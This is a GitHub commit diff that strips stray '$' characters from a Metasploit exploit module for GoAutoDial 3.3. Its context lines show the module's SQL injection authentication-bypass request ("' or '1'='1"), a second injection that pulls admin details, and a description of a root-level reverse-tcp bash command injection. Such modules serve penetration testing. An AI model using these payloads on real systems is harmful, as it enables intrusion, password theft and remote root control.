Skip to content

Commit 8eb59ea

Browse files
committed
Stuffed up regex.. left some random $ characters floating around and have now removed them.
1 parent 6363a31 commit 8eb59ea

File tree

1 file changed

+7
-8
lines changed

1 file changed

+7
-8
lines changed

modules/exploits/linux/http/goautodial_3_rce_command_injection.rb

Lines changed: 7 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -12,8 +12,7 @@ def initialize(info={})
1212
super(update_info(info,
1313
'Name' => "GoAutoDial 3.3 Authentication Bypass",
1414
'Description' => %q{
15-
This module exploits a SQL injection flaw in the login functionality
16-
for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
15+
This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
1716
},
1817
'License' => MSF_LICENSE,
1918
'Author' =>
@@ -50,7 +49,7 @@ def check
5049
return Exploit::CheckCode::Vulnerable
5150
end
5251
end
53-
$
52+
5453
def check_version()
5554
send_request_cgi({
5655
'method' => 'GET',
@@ -67,12 +66,12 @@ def sqli_auth_bypass()
6766
send_request_cgi({
6867
'method' => 'POST',
6968
'uri' => "/index.php/go_login/validate_credentials",
70-
'headers' =>$
69+
'headers' =>
7170
{
7271
'User-Agent' => 'Mozilla/5.0',
7372
'Accept-Encoding' => 'identity'
7473
},
75-
'vars_post' =>$
74+
'vars_post' =>
7675
{
7776
'user_name' => 'admin',
7877
'user_pass' => "' or '1'='1"
@@ -85,7 +84,7 @@ def sqli_admin_pass(cookies)
8584
send_request_cgi({
8685
'method' => 'GET',
8786
'uri' => "/index.php/go_site/go_get_user_info/'%20OR%20active='Y",
88-
'headers' =>$
87+
'headers' =>
8988
{
9089
'User-Agent' => 'Mozilla/5.0',
9190
'Accept-Encoding' => 'identity',
@@ -107,7 +106,7 @@ def exec_command(cookies)
107106
'Accept-Encoding' => 'identity',
108107
'Cookie' => cookies
109108
}
110-
})$
109+
})
111110
end
112111

113112
#
@@ -119,7 +118,7 @@ def run_it()
119118

120119
if res1 && res1.code == 200
121120
print_good("Authentication Bypass (SQLi) was successful")
122-
else$
121+
else
123122
print_error("Error: Run 'check' command to identify whether the auth bypass has been fixed")
124123
end
125124

0 commit comments

Comments
 (0)